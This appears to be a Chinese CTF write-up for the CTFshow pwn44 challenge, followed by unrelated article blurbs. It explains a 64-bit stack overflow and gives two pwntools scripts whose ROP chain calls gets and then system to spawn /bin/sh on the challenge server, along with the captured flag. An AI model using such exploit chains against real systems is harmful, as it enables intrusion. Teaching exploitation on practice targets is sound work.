CTFshow-PWN-栈溢出(pwn44)

64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法 

检查:

是 64 位程序 

ida 反编译 main 函数:

跟进 ctfshow 函数:

存在栈溢出

offset:0xAh+8

在前面经验的基础上,这里我们直接开找

存在 system 函数 

system_addr:0x400520

gets 函数地址

gets_addr:0x400530

这些函数的地址也可以通过查看 plt 表中的函数来获取:

objdump -d -j .plt pwn

与我们在 ida 中看到的是一样的 

对于 64 位程序我们一般还需要获取 pop rdi;ret 和 ret 的地址:

ROPgadget --binary pwn --only "pop|ret"|grep rdi

得到 rdi_addr:0x4007f3

ROPgadget --binary pwn

得到 ret_addr:0x4004fe

接下来我们找可写的地址,先给程序加可执行权限后载入调试:

chmod +x pwngdb pwn

设置断点:

break main

启动被调试的程序:

run 

break 和 run 命令可以直接用 b 和 r 简写 

查看内存段的权限信息:

vmmap

可以看到 0x602000 到 0x603000 这个地址范围内是可读写的

同样在这个地址范围内找到了一个 buf2 参数

通常情况下,BSS 段下的变量是可写的。BSS 段是用来存储未初始化的全局变量和静态变量的,操作系统在程序加载时会为这些变量分配内存并将其初始化为零或空指针。因此,BSS 段下的变量通常具有读写权限,可以被程序写入数据。

buf2_addr:0x602080

编写 exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28146)
offset = (0xA+8)
system_addr = 0x400520
gets_addr = 0x400530
rdi_addr = 0x4007f3
ret_addr = 0x4004fe
buf2_addr = 0x602080
payload = b'a'*offset + p64(rdi_addr) + p64(buf2_addr) + p64(ret_addr) + p64(gets_addr) + p64(rdi_addr) + p64(buf2_addr) + p64(ret_addr) + p64(system_addr)
p.recv()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

可以打通,命令执行获取 flag 

ctfshow{5ca922b5-cfdd-4b99-abd1-f306cf95a21c}

exp2:

主要是对 payload 的简化

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28146)
offset = (0xA+8)
system_addr = 0x400520
gets_addr = 0x400530
rdi_addr = 0x4007f3
ret_addr = 0x4004fe
buf2_addr = 0x602080
payload = b'a'*offset + p64(rdi_addr) + p64(buf2_addr) + p64(gets_addr) + p64(rdi_addr) + p64(buf2_addr) +  p64(system_addr)
p.recv()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

p64(ret_addr) 的主要作用是用来调整栈上的对齐以确保后续的地址正确对齐

在这个 payload 中,由于 rdi 寄存器已经被设置为 buf2_addr 的值,我们在调用 gets() 函数之后并不需要返回到原来的函数中,而在调用 system() 函数之前,我们已经将 buf2_addr 的值再次放入栈中。因此,在这里两个 p64(ret_addr) 可以被省略,因为在调用 gets() 函数和 system() 函数之间并不需要进行额外的栈调整。 

经过测试 payload2 也是可以打通的

拿到 flag:ctfshow{5ca922b5-cfdd-4b99-abd1-f306cf95a21c}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/3044.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python-VBA函数之旅-issubclass函数

目录 一、issubclass函数的常见应用场景: 二、issubclass函数使用注意事项: 三、如何用好issubclass函数? 1、issubclass函数: 1-1、Python: 1-2、VBA: 2、推荐阅读: 个人主页&#xff…

Linux下载及安装OpenSSL

文章目录 前言一、OpenSSL下载二、OpenSSL安装1.上传下载好的安装包到服务器2.解压3.切换目录4.配置config5.编译6.安装7.备份旧版本OpenSSL7.创建软链接8.添加OpenSSL动态链接库9.更新库缓存10.查看OpenSSL版本验证安装是否成功 前言 一般系统会自带有OpenSSL,我们…

CV新手的一些细节点记录

文章目录 前言 一、CV是什么? 二、细节点记录 1.图像坐标与图像矩阵 2.透视变换 总结 前言 很早之前就听闻计算机视觉,尔后又听闻机器学习,一个个高大上的大名,让人有种可望而不可及的感觉。 某日入坑其中,其实…

ubuntu 24.04 beta server NAT模式上网设置

在Ubuntu 24.04 Beta上设置网络通常涉及使用命令行工具。以下是设置静态IP地址和动态IP地址的步骤: 动态IP设置: 查找你的网络接口名称: ip a ens37是我NAT模型的一张网卡,此时是没有ip的。 下面介绍如何NAT模式下添加DHCP动态…

xmind思维导图的绘制技巧

思维导图是一种用来表示思维关系的图形化工具。它将复杂的思维过程和信息整理成一个树状图,可以帮助我们更好地理清思路、整理信息、记忆知识。 在使用xmind绘制思维导图时,有一些技巧可以帮助我们更高效地绘制出清晰、易读的导图,下面是一些…

【数据结构与算法】:带你手搓顺序表(C/C++篇)

文章目录 一、顺序表1.1 线性表 二、顺序表2.1 概念及结构2.2 实现方法1. 顺序表的初始化2. 顺序表的销毁3. 扩容4. 尾部插入/尾部删除5. 头部插入/头部删除6. 指定位置插入/删除7. 顺序表的查找8. 顺序表元素的索引9. 顺序表元素的修改10. SeqList.c完整代码 一、顺序表 1.1 …

FL Studio21中文版值不值得下载?2024优点和缺点测评介绍

FL Studio21的优点和缺点分析如下: 优点: 功能全面: FL Studio 21提供了从音频录制、编辑到混音和母带处理的全套工具,满足音乐制作的全流程需求。内置多种虚拟乐器和效果器,覆盖了广泛的音色和风格。直观易用&#…

数字证书及秘钥的PEM格式、PFX格式、JKS格式介绍

文章目录 前言一、PEM格式二、PFX格式三、JKS格式 前言 三种格式可以相互进行转换 一、PEM格式 PEM格式是一种广泛用于存储和交换安全信息的文件格式,主要用于数字证书和私钥的管理。PEM文件通常是文本文件,使用Base64编码,使得二进制数据可以…

Vue2源码学习路径

文章的更新路线:JavaScript基础知识-Vue2基础知识-Vue3基础知识-TypeScript基础知识-网络基础知识-浏览器基础知识-项目优化知识-项目实战经验-前端温习题(HTML基础知识和CSS基础知识已经更新完毕) 正文 核心代码 它主要包括 Vue 实例、模板编…

粒子群算法(PSO)matlab代码实现

粒子群算法(PSO)matlab代码实现 %% 清空命令行和工作区 clc clear %% 目标函数:求解函数在[0,50]区间上的最小值 f(x) x.*sin(x).*cos(2*x) - 2.*sin(3*x)3*x.*sin(4*x); %% 初始化算法参数 population50; % 粒子的数量 dimension1; …

frp 实现 http / tcp 内网穿透(穿透 wordpress )

frp 实现 http / tcp 内网穿透(穿透 wordpress ) 1. 背景简介与软件安装2. 服务端配置2.1 配置文件2.2 wordpress 配置文件2.3 frps 自启动 3.客户端配置3.1 配置文件3.2 frpc 自启动 同步发布在个人笔记frp 实现 http / tcp 内网穿透(穿透 w…

详细分析mysqlslap的基本知识 | 压力测试(附Demo)

目录 前言1. 基本知识2. 参数解读2.1 auto-generate-sql2.2 only-print2.3 iterations2.4 并发处理参数 前言 对数据库进行压力测试,对此补充这方面的详细知识点 1. 基本知识 mysqlslap 是 MySQL 自带的用于模拟数据库负载的压力测试工具 可以模拟多个客户端并发…

冰狐智能辅助和脚本精灵如何选择

选择冰狐智能辅助还是脚本精灵取决于你的具体需求和偏好。以下是一些选择时需要考虑的因素: 自动化需求:首先,你需要明确你的自动化需求是什么。如果你需要自动化移动设备上的任务,如自动化测试、APP爬虫、自动化运营等&#xff0…

C++—DAY2

定义一个矩形类Rec,包含私有属性length,width,有以下成员函数: void set length(int l);//设置长度 void set width(int w); //设置宽度 int get length(); //获取长度 int get_width(); //获取宽度 void show(); //输出…

Docker搭建MySQL Workbench

MySQL Workbench 是一款图形界面工具,用于数据库设计、开发、管理和维护MySQL、MariaDB和Percona Server数据库。它提供了SQL开发、数据库设计、服务器配置等功能。 实际应用场景 数据库设计:创建ER模型,生成数据库架构。SQL开发&#xff1…

web server apache tomcat11-18-clusting 集群

前言 整理这个官方翻译的系列,原因是网上大部分的 tomcat 版本比较旧,此版本为 v11 最新的版本。 开源项目 从零手写实现 tomcat minicat 别称【嗅虎】心有猛虎,轻嗅蔷薇。 系列文章 web server apache tomcat11-01-官方文档入门介绍 web…

《本能》我们为什么管不住自己 - 三余书屋 3ysw.net

本能:我们为什么管不住自己 大家好,今天我们来解读一本名为《本能》的书。这本书有两位作者,第一位是特里伯纳姆,他是哈佛大学商学院的访问学者,在1997年获得哈佛大学商业经济学博士学位,也是自1997年起一…

elasticsearch Docker启动Device or resource busy异常

问题 在基于Docker进行elasticsearch部署启动时,指定了elasticsearch.yml配置文件,但在启动时报如下异常: Exception in thread "main" java.nio.file.FileSystemException: /usr/share/elasticsearch/config/elasticsearch.yml.…

无重复最长子串

专栏持续更新50道算法题,都是大厂高频算法题,建议关注, 一起巧‘背’算法! 文章目录 题目解法 滑动窗口总结 题目 解法 滑动窗口 采取滑动窗口的方法降低时间复杂度定义一个 map 数据结构存储 (k, v),其中 key 值为字符,value 值…

【大数据面试题】024 Spark 3 升级了些什么?

一步一个脚印,一天一道面试题 近期工作时有用到 Spark 2 升级 Spark 3,解决问题的情况。 任务原本是运行 4 小时后报错,升级到 Spark 3后,任务运行 1 小时,并且运行成功。 平时用 Spark 3 用的也多,就当记…